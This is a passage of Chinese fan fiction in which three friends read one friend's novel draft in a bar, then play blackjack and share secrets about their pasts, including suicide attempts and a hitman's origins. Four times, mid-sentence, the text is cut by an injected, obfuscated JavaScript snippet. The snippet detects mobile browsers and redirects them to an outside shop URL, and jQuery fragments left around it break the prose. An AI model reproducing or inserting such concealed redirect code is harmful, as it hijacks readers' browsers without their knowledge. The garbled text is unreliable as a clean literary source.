太宰治低头沉默片刻还是摇头拒绝了:“织田作,我的身份比较特殊,如果被其他住在这的社员看到你会很麻烦的。所以我不能去你家。” “同理,太宰君也不方便去我家。”坂口安吾把一直放在怀里的公文包拿出来:“这下怎么办?深更半夜的上哪找一个能安静看书的地方?” 织田作之助也开始低下头思考哪里能有这样一个地方,这时候太宰忽然举手提议:“我!我知道有一个安静的地方……” 半个小时之后,坂口安吾抬头看着眼前熟悉的招牌略微出神。 果然是这里啊……lupin…… 自从那件事发生之后他就再也没敢踏足这里,如今站在门口,安吾心里反而有点近乡情怯。 这个世界的织田作之助同样没来过这里,他站在安吾身边,抬头和他一起看着头顶的招牌:“lupin?是一个酒吧?” “嗯,是我偶然发现的地方,平时客人也不多,环境很安静。”太宰君唇角微扬,有一点星光落在他鸢色的眼眸里,深夜的小巷静谧而幽暗,他轻轻推开门对着身后的两人招手,酒吧昏黄色的灯光流淌出来一缕,安吾忽然觉得胸口有些喘不上气来。 有一个瞬间,他几乎想掉头就跑。 站在他身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035877|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的织田作先生轻轻推着他往里进,扶在肩上的手稳重而有力:“别担心,安吾。既然太宰说这里没问题,那我们就相信他吧。” “对啊对啊,虽然我喜欢捉弄安吾,但是这次没骗你哦,这里真的是一个超棒的地方。”太宰脚步轻快地几步走下楼梯:“你们会喜欢这里的!” 安吾定了定心神,表面装得若无其事的样子跟着走进下楼梯:“所以你也承认之前都是在故意捉弄我是吧?” 太宰毫不心虚地坐在自己的位置上:“才不是捉弄,我这是在帮安吾从繁忙的社畜生活中找到乐趣!” “我从你那找到的只有槽点满满的麻烦!”坂口安吾故意隔着一个位置坐下,把手里的公文包放在桌上:“我真正的乐趣在这里。” “啊!我也要!我也要一起看!”太宰立刻主动坐过来,他们两个迫不及待地打开装着稿件的文件袋,拿出第一页借着酒吧昏黄的灯光凑在一起阅读起来,织田作之助无事可做,于是坐在他们两个身边的位置跟酒保点了一杯酒:“要一杯螺丝起子。” 刚刚热闹了片刻的酒吧很快又安静下来,织田作之助喝了一口度数颇高的酒,有点无所适从地打量着酒吧的布局。 虽然外表看不出来,其实他内心相当紧张。 毕竟在他心里这本小说的水准远达不到让人满意的程度,但是安吾和太宰又如此期待,织田作之助总觉得这次可能要让他们两个失望了。 一想到这些天他们两个的鼓励和支持,织田作之助心里紧张的简直就像一个考试考砸了还偏偏还要等待老师阅卷的小学生。 时间在阅读和等待中飞速流过,等到织田作之助杯中的酒已经差不多要喝完的时候,安吾和太宰终于满足地读完了开头的几章。 “怎么样?觉得哪里不好吗?”织田作之助忍不住询问。 坂口安吾和太宰对视一眼,然后齐齐摇头:“从开头看不出有什么问题呢。” 织田作之助也不意外:“我也是写到中段才觉得不对劲的,所以问题果然出在后面。” “无论如何,想要在一晚上的时间就读完整篇小说是不可能的呢。”安吾非常惋惜地叹一口气,开始把书稿仔细地收进袋子里:“我们可以明天接着来读,今天就先到这里……” “放我这放我这!”太宰拿过袋子宝贝地抱在怀里:“明天我再拿过来。” “你肯定会忍不住偷看的吧太宰君。”坂口安吾推一推眼镜,目光犀利地看过去:“然后还会在我阅读的时候剧透捣乱。所以不能放你那。” 太宰治不服气:“难道放你那你就不会偷看了吗?” 坂口安吾:…… 确实也会呢。 最后经过一番极限拉扯,书稿还是放在织田作之助那里暂时保管了。 “那我们就明天晚上再来。”织田作之助已经打算起身离开了。 “等一下!等一下嘛织田作!”太宰又把他拽着坐下来,然后他对着老板招手:“我要一杯威士忌加洗洁精!” 老板非常淡定地拒绝了他,然后给太宰上了一杯普通的威士忌。 坂口安吾于是也点了一杯饮品:“我还要开车,请给我一杯番茄汁。” 最后,他们两个一起举起桌上的酒杯,太宰治的眼睛亮晶晶的:“那么,为了庆祝织田作小说初稿完成,让我们一起干杯吧!” 看到举起酒杯的两个好友,织田作之助愣了一下,接着心里一直的紧绷的那根弦忽地就放松下来,他也举起自己的酒杯。 “为了小说初稿,干杯!” 37.第 37 章 接下来的五天里他们三个人每天晚上都风雨无阻地跑来lupin“追更”,直到第六天的时候,织田作之助的初稿终于被太宰和安吾读完了。 这本小说主要讲了一位杀手改邪归正的过程,织田作之助从这位杀手年少的时期开始写起,在历经了杀人如麻,路遇老者劝他从善,决心放下手枪不再杀人,收养很多战争孤儿成为一个父亲等众多不同的人生阶段之后,这位杀手的灵魂终于得到救赎。 虽然改编了一些事件还隐去了一些细节,不过安吾还是能看出来,这位杀手其实就是织田作先生,这次他写的其实是他自己。 “怎么样?能看出问题出在哪吗?”织田作先生迫不及待地追问。 坂口安吾一边低头整理手中的稿件一边思考措辞:“织田作先生,这篇小说的情节跌宕起伏,节奏也把握的很好,就如同你所说,我也认为问题出在人物的塑造上。” “确实,织田作自己可能没有注意到,你在写主角的时候有一个很奇怪的地方。”太宰治单手支着下巴看向织田作之助:“明明是第一人称的小说,但是主角的心理描写却异常的少呢。” 似乎真的没有注意过这个问题,织田作之助愣了一下。 “确实,这本小说无论是杀手执行任务时的惊险还是后期生活的平淡幸福其实都描写的很好。”安吾说着把文件袋重新封上,白色的线沿着两个绳扣仔细缠好: “但是主角一开始为什么选择成为杀手?遇到那位老人时又为什么弃恶从善?中间可曾有过什么思想斗争吗?最后杀手的心态获得了何种成长? 类似的心理描写几乎没有,每次一写到关键时刻织田作先生就不自觉把话题给岔过去了。” “原来如此,我缺少的是这种东西啊……”织田作之助恍然大悟,然后他的脸色就瞬间变得灰败。 越是优秀的文学,越是把人的灵魂掰开了揉碎了展示给众人看,作者很多时候是没办法完全虚构出一个拥有真实灵魂的人物的,所以很多作者其实都是在解剖他自己。 用手术刀切开自己的肉,将内脏全掏出来给人看,只有完成这项恶魔般的工程,才能造就出真正的杰作。* 这样把自己的灵魂完全摊开的魄力不是谁都能有的,最起码对于现在的织田作之助而言,他还做不到。 如此深层度的自我刨析和展示,很可能一辈子也做不到了。 “抱歉了,太宰,安吾。我搞清楚问题出在哪了,但是我想我可能需要很久也……改不好这本小说……”织田作之助不自觉握紧手里的酒杯,一直挺直的脊梁也弯了下去,就连总是平淡无波的语气都发颤了: “果然写作之路没有那么容易,之前是我自己太过天真了……时至今日,我依然没有资格成为一名作家。” 安吾从上个世界到这个世界,还从没见过他如此颓废的样子。 太宰不知道为什么忽然就慌乱起来,他开始努力找话题,语气故作轻松:“没关系,织田作,时间还来得及,我们再重新写一篇吧! 这次就写咖喱店老板的续篇如何?或者就写一本推理小说,正好织田作侦查过很多的案子可以用来参考,再或者写一篇童话,你晚上的睡前故事其实都很不错! 织田作,你可以写任何你想写的东西,就这样成为一个自由的作家……” “但是杀手的故事写不出来,作家这个身份就没有意义。”织田作之助低着头,脸上的表情模糊不清。 酒吧里突兀地安静下来,气氛压抑得就像暴风雨前的宁静。 不知道过了多久,织田作之助忽然站起来了。 “织田作……”太宰试探着去拽他的袖子。 但是在他即将碰到的前一秒,织田作之助忽然转身离开:“抱歉,太宰,安吾。我……我需要一个人安静一下,我去去就回。” 太宰伸出去的手悬在半空,脸色苍白得看不见一丝血色,无措和绝望定格在他的脸上,他整个人宛如一座雕像一般僵在那里。 明明付出了那么多努力,明明改变了织田作的命运,明明就要变得不一样了,但是几乎是在片刻之间一切就好像回到了原点。 “等一下!等一下织田作先生!”就在织田作之助马上就要走上楼梯离开的瞬间,安吾咬着牙冲过去挡在他前面: “你能不能写出来,有没有资格当作家这些事先不谈,你就回答我一个问题,这篇杀手的小说,你到底想不想写。” 织田作之助没说话只是定定地看着他,坂口安吾咬紧牙关寸步不让,抬起头毫无躲避地和他对视:“如果不想写你就走,我绝不拦你。但是如果你还想写——” 他向前一步握紧织田作之助的胳膊:“逃避解决不了任何问题,你先坐回去,我们一起想办法。” 织田作之助没有离开也没有回去,只是低着头和安吾对视,安吾毫不退让:“不是你说的要靠得更近一点,再近一点吗? 现在转身离开了,我们三个的关系和下雨天偶然碰在一起的路人有什么区别?” 聊一些无关痛痒的事情,开一些无伤大雅的玩笑,稍微靠近一点就立刻退开,谁也不肯向谁多走一步。 所以一阵风吹过来就散了,所以少了一个人就再也聚不起来。 我之后一定还是会离开的,怎么能留下这样的太宰君和织田作先生在这边的世界?坂口安吾不自觉握紧织田作先生的胳膊。 如果可以,我想在离开之前尽我所能,把他们两个绑得更紧一点。 “织田作先生,我曾经把安吾锅分享给你们,如今我要一些对等的回馈也并不过分吧?”坂口安吾的语气也带上了一丝颤抖。 不知道僵持了多久的时间,坂口安吾觉得简直有一个世纪那么长,织田作先生终于后退了一步,他又默默转身坐了回去。 太宰治没有焦点的眼神几乎是瞬间就有了光亮,他激动地直接蹦了起来,晶亮的目光在安吾和织田作之间来回移动。 假装没看懂太宰君那宛如看见了奇迹的眼神,坂口安吾默默叹了一口气也走回去:“太宰君,赶快坐好,我们接下来要商量如何帮助织田作先生写出小说的问题。” 于是太宰治乖乖坐了回去,探头看向坐在另一边的安吾:“你有什么想法?” 其实太宰治也知道这很难,因为织田作和他们一样也是心防很重的人,换位思考一下,太宰治认为如果是他自己的话,他也是绝对写不出一篇彻底解剖自己的小说的,所以刚才他根本就想不出能挽留织田作的理由。 关于这个坂口安吾其实还有一个不算办法的办法,他低头沉默了片刻,然后抬头看向酒吧老板:“抱歉,今天晚上可以把这里借给我们几个吗?费用您尽管开口。” 酒馆老板没有说费用的事,只是微笑地摇一摇头,然后就不紧不慢地收拾东西离开了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040038|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “世界意识先生,能麻烦您今天晚上也先离开这个房间吗?”安吾在脑海里对世界意识开口。 “可以,那明天见。”然后安吾就感觉到世界意识离开了自己。 如今这里只剩下他们三个人。 坂口安吾深吸一口气,然后才抬头看向他们两个:“织田作先生,太宰君,多余的废话我就不多说了。 我们都知道,织田作先生要想完成这篇小说,那他就必须要敞开心扉不可。我知道这并不容易,但是也并不代表就毫无希望了。 因为小说毕竟只是小说,织田作先生并不需要把百分之百的自己呈现出去,只要在几处关键的地方袒露真实,其他时候虚构一些内容或者干脆留白也是可以的,这样真真假假的混在一起其实非常安全,织田作先生也完全不用做到那种鲜血淋漓的程度。” 安吾轻轻握住织田作先生的手腕:“所以只需要稍微打开一条缝而已,织田作先生,这并没有你想象中的那么困难。 剩下的部分你可以在以后觉得能够做到的时候再继续创作出更加厉害的作品,相信到时候你也一定是一位杰出的作家了。 重要的是迈出第一步,后续的只需要交给时间就好。” “但是,哪怕只是打开一条缝也很危险吧?”太宰此时已经恢复了常态,他趴在桌子上轻轻按着自己酒杯里的冰球:“那种把心里的东西倒出来的感觉……比死还要难过,轻易做不到吧?这种事情……” 虽然说着不可能,但是他却完全没有离开的意思。 “对,就像太宰君所说的,单方面的暴露是很危险的,很难做到。”坂口安吾的目光紧盯着他们两个人不放,声音逐渐压低: “但是双向的暴露就没问题了。许多实验说明,人一旦身处在交流辛密的隐秘氛围里,心中的很多秘密就会像流水一样自然而然地流淌出来。” 织田作之助忽然抬起头看向坂口安吾:“你说什么?” 写出这本小说只是我的愿望,你们有必要陪我一起做到这种程度吗? “织田作,安吾的意思是,我们一起开一次秘密分享会吧!”太宰忽然举手做了个抢答的姿势,然后他环顾一周,忽然自顾自地跑到吧台后从抽屉里拿出一副扑克和几瓶高度数的洋酒: “这种交流会上酒精和游戏也是必不可少的呢,我们就玩二十一点吧!”他自己搬了把椅子坐在吧台后面,和织田作之助还有坂口安吾围成一个三角形: “谁输了谁就必须袒露一个自己知道的秘密,说不出口的话就必须罚酒一杯!” 这样下去很快就会有人烂醉如泥吧,到时候在酒精的麻痹下一些平时说不出口的话也能流露些许。 织田作之助看着太宰和安吾自顾自地洗牌和倒酒,还是忍不住开口:“你们为什么要陪我玩这个?你们不是明知道……”我是不会输的。 “当然因为我们是朋友啊,织田作。”太宰微笑着把手里的牌放在桌子上:“和朋友玩扑克不是再正常不过的事情了吗?” “该你了,织田作先生。”安吾也对着他招招手:“难得连太宰君这个胆小鬼都没有逃跑,不趁着这次让他把港口mafia的银行账号和密码都说出来岂不是太亏了吗?” 酒吧昏黄的灯光给人一种微醺的错觉,仿佛觉得自己已经喝醉了一般,织田作之助一脸恍惚地坐了过去,自然而然地加入了这场牌局。 38.第 38 章 这场简简单单的牌局可谓精彩纷呈,而参加牌局的选手们也是八仙过海,各显神通,在经过记牌算牌,话术诱导,作弊和反作弊甚至是博弈术等等手段,安吾和太宰虽然各有输赢,但是果然他们一次都没赢过织田作之助。 “港口mafia最后一个财库的位置是三楼走廊尽头左侧的夹层密室,密码是56348E……” “异能特务科首脑的办公地点在郊区图书馆的地下密室……” 不知不觉几个小时过去,把所有能说的不能说的全都一股脑吐露个干净的坂口安吾忍不住扶着额头苦笑: “这下这个祸真是闯大了,我至少说了二十三条绝密情报,要是种田长官知道了我肯定会被抓进监狱里去度过余生……” 太宰治一边看着手里的牌一边毫不留情地发出嘲笑:“这就是有上司的苦恼了,我就无所谓,反正森先生如今也没办法再‘活过来’了。” 关于港口mafia前任首领森鸥外还活着的情报也早就在牌局开始的第三十分钟被说了出去,如今的太宰治已经破罐破摔了。 “织田作先生,您如今已经是横滨的无冕之王了。”坂口安吾转头看向一边一直赢到现在的织田作之助,语气里充满怨念: “现在你知道了横滨黑白两道所有的绝密情报,好好利用一下的话说不定你可以直接干掉港口mafia和异能特务科从此让武装侦探社一家独大。” “那不是也挺酷的吗?”太宰兴奋地欢呼一声:“可以哦!到时候我将拥立织田作成为横滨新的国王!” 而作为横滨“无冕之王”的织田作之助本人,他此时经过一个多小时的牌局精神和身体都已经放松很多,顺着这个思路他想了下去: “那我希望能把老板的辣咖喱店开成全市连锁,这样我就随时随地都能吃到了。啊,二十一点。” 说着他把手里的牌打开,果然又赢了。 “嘿嘿,我这次也是二十一点哦~”太宰治抓起最后一张牌,然后也把自己的牌摊开。 坂口安吾颓废地把手里的牌推出去:“二十点……又输了……” “这下安吾还能说出什么来?要吐露出第二十四条绝密情报了吗?”太宰治幸灾乐祸地凑了过去:“说实话我都想不到你还能说出什么来了,如果你要自罚一杯的话这次也是可以的哦~” 坂口安吾趴在桌子上捂住耳朵逃避片刻,最后他还是一脸认清现实的表情爬了起来:“没有第二十四条绝密情报了,太宰君。我本人的权限也只到第二十三条而已。” “诶?那要喝酒了吗?”太宰治兴致勃勃地把好几种洋酒混合成一杯递过去:“要一口闷掉哦,剩下一点就算挑战失败!” 坂口安吾一脸嫌弃地推开酒杯:“喝了这个只会越输越多吧?” 说着他从椅子上站起来,绕过吧台桌蹲在柜台下方似乎在寻找着什么,几分钟之后他捧着一堆东西回来了:“这个酒吧里还真是什么都能找到啊,也不知道老板到底是如何做到的。” “你拿了什么?”太宰好奇地凑过去:“飞镖?什么秘密和飞镖有关?” 就连织田作之助都好奇了,也跟着站起来凑到安吾身边:“是老板的飞镖里藏着什么秘密吗?” “就算真藏着我也不可能知道吧?”坂口安吾一边吐槽一边把飞镖盘挂在楼梯边的墙上,而自己则拿着几只飞镖走到另一边站好。 这下太宰终于猜到安吾要干什么了,他脸上的表情就像看到了一堆蟹肉罐头在跳贴面舞那样惊喜而新奇:“安吾会玩飞镖?你怎么不早说?这不比异能特务科的秘密据点有趣多了?” “种田长官要是听到你的话多半要气疯了……”坂口安吾低声嘀咕了一句,然后摆摆手示意太宰君和织田作先生离自己远一点:“你们两个别凑过来,我好久不碰这类东西了,万一失手伤到你们我可不管。” 于是织田作之助和太宰治立刻后退几步,然后搬着凳子乖巧坐好二脸期待地看着坂口安吾。 坂口安吾深吸一口气压下猛然剧烈的心跳,然后握紧手里的飞镖回想了一下当初的感觉,被刻意压进脑海深处的记忆久违地浮现在眼前。 坂口安吾第一次接触这个是因为某个长辈送的飞镖玩具,安吾喜欢那种冲破一切的力量和锐利,那也是他幼年时在家族里唯一喜欢的东西。 “少爷,玩物丧志,您不应该过度沉迷于这种无用的游戏。” 那支飞镖玩具不过玩了三天的时间就被仆人们收走了。 后来出去上学的安吾已经成长为一个中二的不良少年,不知道是出于叛逆或者是补偿的心里,他又特意买了许多不同种类的飞镖回来日夜苦练。 “什么应该不应该,什么有用无用,你们和那些礼仪规矩统统一起见鬼去吧!!!” 比心情和回忆更先涌上来的是熟悉的身体记忆,坂口安吾侧身站立,飞镖连续从指尖飞驰出去,带着冲破一切桎梏和束缚的冲劲儿,直直扎进前方红色的圆点。 三枚飞镖,全都正中靶心。 “呜呼!安吾好厉害!一百分!安吾选手赢得了比赛的胜利!”太宰治立刻站起来欢呼。 织田作之助也站起来鼓掌:“安吾很厉害,已经是专业的水准了。” 坂口安吾从回忆中回过神来,他表情平静地收起剩下的飞镖,然后走到墙边打算把飞镖盘收起来:“我会扔飞镖,这件事情整个横滨只有你们两个知道,姑且也算个秘密吧?” “很棒的秘密。”织田作之助点头承认:“在此之前我从未想过安吾很擅长扔飞镖。” “当然算!这个秘密真是太有趣了,是迄今为止我知道的所有秘密里有趣排名第一的秘密!”太宰就像第一次认识安吾那样冲过来把他上下打量了一遍,然后又拽着他坐回椅子上: “别这么快收起来嘛,这个飞镖盘就留在这,安吾,你再给我们表演一下吧?你的最高记录是连中多少次?” “你小心点儿,别被飞镖扎到了。”安吾用另一只手绕开太宰把飞镖放在吧台的抽屉里,伸出右手臂轻轻放在桌面上:“刚才的三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045176|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枚已经是极限了,短时间内应该是扔不中了。” 太宰和织田作也跟着看过去,发现安吾的右手臂连着手指都在不自然地颤抖,织田作之助立刻伸手在安吾的手臂和肩膀上摸着检查了一遍,然后眉头紧锁:“你曾经受过伤?” 不,也不对,安吾的右手写字和使用餐具的时候从未出过问题,更何况与谢野医生刚给他治疗过…… “是心因性的。”太宰说话的语气认真起来:“只对特定的行为会产生排斥反应。” 从安吾刚才的样子来看他应该是很喜欢飞镖的,身体没道理会如此排斥,难道是有人故意把他变成这样的? 为什么要逼迫安吾刻意排斥自己喜欢的东西? 越想太宰治的心就越往下沉。 比起心情逐渐沉重的太宰治和织田作之助,坂口安吾反而是最淡定的那个,他若无其事地收回自己的手臂,就好像他刚才只是聚会之时普通地给朋友们露了一手: “那些都是其他的秘密了,不在这次的分享范围之内,要想知道就继续赢过我。” 太宰治沉默片刻,也变回了之前那副轻松的样子:“好啊,我今天要把安吾所有的秘密全都挖出来~” 安吾笑着看他:“那可没那么容易。你也没什么情报能吐露了吧?太宰君,一会儿你还能说什么东西我也很期待。” 太宰治对着他做了个鬼脸。 织田作之助主动把用过的牌洗好放在桌上:“果然你们两个都是很有趣的人,那我们继续吧。” 谁也没再提安吾手臂的事情,就好像刚才片刻的凝重气氛并不存在。 刚才的飞镖表演宛如一个分水岭,自此之后这次秘密分享会终于缓慢地滑入了深水区,安吾和太宰没有什么情报能做出分享了,于是他们开始逐渐袒露一些自己真实的部分。 下一次是太宰治输了,他也没去动那杯自己调制的混合洋酒:“就像安吾说的,喝了这个肯定会越输越多,我不要!” 然后他就默默起身往后厨走去,不知道在里面鼓捣了一些什么东西。 十几分钟之后,他端着三碗非常正常的,香喷喷的炒饭走了出来。 安吾这下是真的绷不住了:“所以你其实是能做出来正常料理的吗?!” 那你之前干什么非要把料理做成那个样子! 织田作之助拿起勺子吃了一口:“而且非常好吃,感觉可以去开店了。” 安吾不信邪地也拿起勺子尝了一口,不得不承认织田作先生说的没错,虽然不至于说是珍馐美味,但是也是非常标准的快餐店口感,绝对和难吃搭不上边。 “所以太宰君,你之前把料理做成那样是有什么心事吗?”安吾想起那些被荼毒的往事露出了痛苦面具:“别告诉我只是单纯地想要恶作剧。” 太宰治学着安吾之前的样子:“那些都是其他的秘密了,要想知道就继续赢过我~” 安吾:…… “好!太宰君你给我等着!我一定要搞清楚你钟情黑暗料理的原因不可!” 39.第 39 章 牌局继续下去,很快越来越多的真实从灵魂的缝隙里飘散出来,气氛没有想象中凝重,这一切反而变成了一场奇怪的比拼。 “你输了,太宰君。这次可以说了吧?为什么故意用黑暗料理荼毒我们?”安吾紧抓着这个问题不放。 虽然这个世界到目前为止他还只吃过硬豆腐,但是他和织田作先生曾经隔着屏幕“观赏”过超人精力锅的成品,估计如果不是隔着电脑屏幕的话他们三个肯定会再次当场失忆三天。 “安吾想知道我就偏不告诉你!”太宰治有点别扭地把头转到一边,停顿片刻之后他维持着这个有点奇怪的姿势开口了: “我,是离家出走来到横滨的。如今估计已经被家族除名了吧,所以我先一步改掉了自己的姓氏。” 坂口安吾没有继续大惊小怪地追问什么,也没有让气氛忽然安静下来,他用着像是“发现有两人原来生日在同一天”的语气感叹了一句:“啊,那还真巧。我也和家里一刀两断了,不过我改的是名字。” 太宰立刻好奇地转过来:“那你原先叫什么?” 坂口安吾推一推眼镜:“输的是你不是我哦,太宰君。” 太宰治:…… “可恶!你等着下一次的!我一定让你说清楚!” 织田作之助看看他的两个好友,忽然发觉:“原来只有我没和家里闹掰过,不过我父母很早就去世了。” “这么看来我们三个还真是亲缘浅薄啊!”坂口安吾不由得感叹:“顺便一提,你的名字其实也莫名其妙地变成织田作了不是吗?织田作先生。” “这么一说真的很巧。”织田作之助也跟着赞同:“我都想和你们干一杯了。” “那就干杯吧。”安吾举起了自己的酒杯:“为我们逝去的姓名。” “是为我们全新的姓名啦!”太宰治也举起自己的酒杯。 放下酒杯之后太宰治迫不及待地撸起袖子:“再来再来!想要知道的东西又多了一个,这次一定是安吾把旧名字告诉我!” 十几分钟之后,太宰治放下牌欢呼一声:“这次是你输了!安吾,快告诉我你原先的名字还有飞镖的来龙去脉!” “那是很多个问题,你也太贪心了。”坂口安吾一脸淡定地把手里的牌放下:“而且要说什么秘密是我决定的吧?” 太宰治一脸可惜:“那好吧,你要回答哪个问题?” 坂口安吾没有就上述的任何一个问题继续说下去,他反而一脸无辜地起了个新头:“我年少的时候有段时间感觉快活不下去了,很想去死,还给自己立了一块墓碑。”① 太宰治对这个话题很感兴趣:“原来安吾也曾经是一个自鲨主义者啊,我们可以一起交流经验!对了,你的墓碑在哪?” “这又是另一个问题了,太宰。”织田作之助这次先一步代替安吾回答了太宰的问题。 太宰治:…… 好好好,光挖坑不填是吧?安吾你这人什么时候变得这么坏心眼! 心里好奇得抓心挠肝,太宰治气愤地开始洗牌:“继续!安吾,我要和你再战三百回合!” 于是接下来的一段时间里,他们俩简直就像卯着劲儿似的。 “我第一次自鲨的时候还在家里,服用了大量的安眠药,但是因为经验不足未能到达致死量所以失败了,自此被家族里的人当成了怪物。”② “又是我,好吧……我曾经因为屡次逃学被开除过,还在离校之前在课桌下面刻上了非常中二的宣言。”③ “我遇见森先生是因为我在横滨流浪的时候又一次自鲨失败,然后被一群多管闲事的家伙送到了他的诊所,本来我是想跑路的,但是因为他那里有很多可以用来自鲨的用具所以我留下了,现在想来真是贪小便宜吃大亏!”④ “我的第一个朋友是我家后山的一棵樱花树,之所以决定和它做朋友是因为只有我知道那棵树下面埋着一具尸体,那是一个几百年前在树下自鲨的无名山贼。”⑤ …… “我……我之所以加入港口mafia最初是为了能寻找到什么东西。”又一次轮到太宰治的时候,他忽然拿起自己的酒杯喝了一口,然后才呼出些酒气接着开口: “只要去贴近充斥着露骨的暴力和死亡、本能和欲望的人们,就能够更进一步看清人类的本质。那样的话……” 太宰治的目光和表情藏在阴影里,停顿了片刻,他继续说:“那样的话,我以为就能找到什么活下去的理由。”⑥ 织田作之助和坂口安吾都沉默地看着他,太宰治说完那些话之后也没再有什么反应,他沉默着再次把牌洗好,抬起头的时候目光里有一种暗沉的东西在翻滚:“怎么?不再继续了吗?不跟了?” 他虽然在笑,但是放在桌下的手却握的死紧。 安吾没说什么,再次伸手抓起了一张牌。 这次是他输了。 安吾沉默片刻,终于也没讲那些过去的琐事,他也拿起桌上的酒杯猛喝一口,然后才嗓音沙哑地开口了: “因为异能力的关系我总是会接触到大量的真相和谎言,然后在很早的时候我确认了一个事实: 人生来就是伴随谎言而生的。 挣扎着求真的少数人是极其痛苦的,大多数人终其一生都在虚假和谎言中沉沦堕落。我挣扎过也绝望过,最后理解了,谎言是人类的保护色,这种堕落是人趋利避害的本性所在……” 说到这里坂口安吾笑了,抬手松了一下箍着脖颈的领带才继续说下去:“……可我偏偏拥有这种能力又堕落不得。 身处虚假之中时时被真实刺痛,这种无所适从让我决定做点什么,于是我加入了异能特务科。我想尽我所能,创造一个让更多人能无所顾忌说真话的时代……” 后面的话他说不下去了。 然后他成为了一个靠谎言为生的间谍。 还因为自己的谎言害死了自己的朋友。 “你天生就是吃这碗饭的,坂口安吾。 你生来就该是个愚弄众生的骗子。”教官的话又在他脑海里浮现。 “可能我本性如此吧。”坂口安吾拿起酒杯又喝了一口,最后语气轻松的做出总结:“无论如何,我还挺擅长这个的。” 酒吧里本来还算轻松的气氛不知不觉开始变得苦涩而沉闷,这是当然的,因为除了傻子和孩童之外没有人能拥有真正轻松的灵魂。当一个人下定决心敞开心扉,那么越往里挖就注定就只能挖到越沉重的东西。 坂口安吾沉默着低头收拾起手里的牌,洗了几遍之后重新放在台桌上:“我跟了,太宰君。怎么样?还继续吗?” 太宰治没说话,低着头抓起一张牌握在手里,他们三个人机械地做出抓牌和看牌的动作,气氛沉闷的就像在参加一场决定生死的赌局。 这种宛如参加葬礼一般的气氛不知道过了多久,太宰忽然把牌摊开:“二十一点。” “我也是,看来平局了。”安吾也摊开自己的牌。 “不,我输了。”织田作之助忽然把手里的牌摊开:“二十点。” 安吾和太宰治一愣,不约而同地看向织田作之助。 “这也没什么奇怪的吧。”织田作之助轻叹一口气,也拿起自己的酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049687|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯喝了一口:“我虽然擅长玩牌,但也不是百分之百能赢的。” “那织田作先生要分享什么秘密?” 织田作之助没有看向他们两个,反而端着酒杯正视前方:“我没有你和太宰那么多的情报和经历值得分享,那我就从最开始讲起吧,反正说起来也是一个俗套的故事。 我最开始做杀手是为了给父母报仇。”他的目光聚焦于虚空中的某一点,即使是说起这样的往事看着也没有什么过于激动的情绪: “当时我的双亲被人杀害了,我在街头流浪的时候偶然撞见了一个杀手的杀人现场……” “你为什么要杀他?”还是个孩童的织田作之助站在那具尸体边看向凶手,即使面对这样血腥的场景他也没有哭闹和害怕,看过去的目光比成年人还要镇定。 是个当杀手的苗子。那位杀手心里默默赞许了一句,也没有急着杀人灭口,反而直接回答了他:“因为我是杀手,有人花钱买他的命。” “那那个人为什么要花钱买他的命呢?”那个孩子穷追不舍。 “啧,这我怎么知道?我就是个拿钱办事的。”那杀手不耐烦地皱起眉头:“可能是来报仇的吧,这人手段很黑,有不少仇家。” “报仇……” “对,报仇。”那杀手说到这还笑了两声:“他杀了别人,被杀之人的家属就会来杀他,这就叫报仇,就像狼吃羊羊吃草一样,天经地义的事儿。” 那个孩子低下头不知道在想些什么,就在杀手举起手里的枪打算杀人灭口的时候,他忽然又开口了:“我也要给爸爸妈妈报仇,我应该给你多少钱?” 这下那杀手彻底乐了:“有点意思,行啊,我可以接你这单生意,小子。”那杀手嘿嘿笑着蹲下来:“不过我的价钱你肯定支付不起,所以你把你自己抵给我吧。” 于是无家可归的织田作之助就跟着那名杀手离开了,还小的时候就靠着做些望风打探消息之类的活儿混口饭吃,后来稍微长大一点了,那名杀手就开始教他杀人的本事。 “果然我当年没看错你啊,是个不错的苗子!”那杀手有时候会带着点自得地看着他:“这异能力也很强,你以后要是当杀手肯定比我厉害。” 